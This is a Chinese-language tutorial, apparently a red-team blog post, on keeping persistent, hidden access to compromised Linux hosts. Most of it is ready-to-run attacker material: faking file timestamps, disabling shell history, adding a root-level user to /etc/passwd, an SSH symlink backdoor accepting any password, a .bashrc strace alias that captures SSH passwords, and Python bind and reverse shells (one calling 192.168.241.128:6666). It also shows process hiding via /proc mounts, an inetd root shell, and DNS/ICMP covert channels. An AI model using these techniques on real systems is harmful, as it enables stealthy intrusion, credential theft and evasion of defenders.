目录
修改文件/终端属性
文件创建时间
如果蓝队根据文件修改时间来判断文件是否为后门,解决方法:使用 touch
touch命令有两个功能:一是创建新的空文件,二是改变已有文件的时间戳属性。
文件锁定
在Linux中,使用 chattr 命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l
是查看不出来的,从而达到隐藏权限的目的。
sudo chattr +i 1.php # 锁定文件
rm -fr 1.php # 不能删除
lsattr 1.php # 查看文件属性
sudo chattr -i 1.php # 解锁文件
历史操作命令
在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?
技巧一:只针对你的工作关闭历史记录
[space]set +o history # 备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令:
[Space]set -o history # 将环境恢复原状
技巧二:从历史记录中删除指定的命令
passwd增加用户
背景知识
实操-增加超级用户
- 生成密码passwd的盐值:
perl -le 'print crypt("passwd","salt")'
- 复制下来root用户的passwd信息,得知新用户asuka的passwd信息:
echo "asuka:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd
- 尝试切换用户为asuka,身份是root
- 尝试以asuka的身份ssh连接靶机
SSH后门
SSH 软连接后门
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 检测uid 为 0 即可认证成功,这样就导致了可以使用任意密码登录。
说明:建立软连接到/usr/local/su 文件,也可以在其他目录,su文件名字不能变,变了就无法登录。当然可以通过其他设置,更改su名字也是可以的。然后启动,并指定监听12345端口,登录的时候密码随意即可
- 通过软连接建立一个ssh后门:ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
- ssh连接:ssh kali@192.168.40.129 -p12345
SSH 公钥免密码登陆
这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接,Redis未授权访问等情景。
- 生成公钥:
ssh-keygen -t rsa
- 将id_rsa.pub内容放到目标.ssh/authorized_keys里:
cat id_rsa.pub > authorized_keys
- 获取
id_rsa
文件
- 设置权限:
注意,因为Ubuntu是以web2用户身份创建的SSH公钥,因此kali只有以web2用户的身份连接它才不需要密码。
chmod 600 id_rsa
ssh -i id_rsa web2@192.168.40.146
SSH Keylogger记录密码
当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。倘若当前系统不存在alias,那么就会影响其正常使用。
- 在当前用户的 .bashrc 里新建一条alias,这样可以抓取他登陆其他机器的 ssh 密码。
vim .bashrc
alias ssh='strace -o /tmp/.sshpwd-`date '+%Y-%m-%d'`.log -e read,write,connect -s2048 ssh'
source .bashrc # 重新执行刚修改的初始化文件
- Ubuntu登录别的设备
- 查收战果:
grep -A 9 'password' .sshpwd-2022-01-24.log
Ubuntu利用Cron机制安装后门
Cron是ubuntu下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照一定时间执行某一个任务。它是一项服务,你可以使用基本的服务查看状态命令等查看信息。
操作参见:Linux学习之Ubuntu利用Cron机制安装后门
vim python 扩展后门
适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。
- 在目标设备上创建恶意py文件
恶意脚本 dir.py 的内容可以是任何功能的后门,比如监听本地的11端口。建议使用正向后门。
正向后门:
# from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server = socket(AF_INET, SOCK_STREAM)
server.bind(('0.0.0.0', 11))
server.listen(5)
print('waiting for connect')
talk, addr = server.accept()
print('connect from', addr)
proc = subprocess.Popen(["/bin/sh", "-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)
反向后门:
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.241.128", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
- 运行后门
有下面两种方式,第二种比较绝,实验效果不好,还是用第一种吧
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
- kali连接目标
- 隐藏进程
11端口运行个vim太引人注目了,需要隐藏。mount --bind
命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。
mkdir null
mount --bind null /proc/3052
netstat -antplu | grep 11
inetd服务后门
inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。
- 安装inetd:
apt install openbsd-inetd
- 修改inetd默认端口
vim /etc/services
woot 6666/tcp # 随便起个名字和端口
- 修改 inetd 配置文件
vim /etc/inetd.conf
woot stream tcp nowait root /bin/bash bash -i
- 确认端口开启
- kali连接目标
协议后门
在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉。但是对于UDP(DNS、ICMP)
相关流量通常不会拦截。
ICMP
主要原理就是利用ICMP中可控的data字段进行数据传输,具体原理请参考: https://zhuanlan.zhihu.com/p/41154036
开源工具:ICMP后门项目地址:https://github.com/andreafabrizi/prism
DNS
在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷
隐藏在拥有PTR记录和A记录的DNS域中(也可以利用AAAA记录和IPv6地址传输后门),具体请参考:
通过DNS传输后门来绕过杀软
开源工具:DNS后门项目地址:https://github.com/DamonMohammadbagher/NativePayload_DNS
协议后门检测
对于DNS/ICMP这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量的网络连接。
清除:kill进程、删除文件即可
PAM后门
参考
Linux学习之Ubuntu利用Cron机制安装后门
python正向连接后门
LINUX留后门–教程(六)—— PAM后门
[总结]Linux权限维持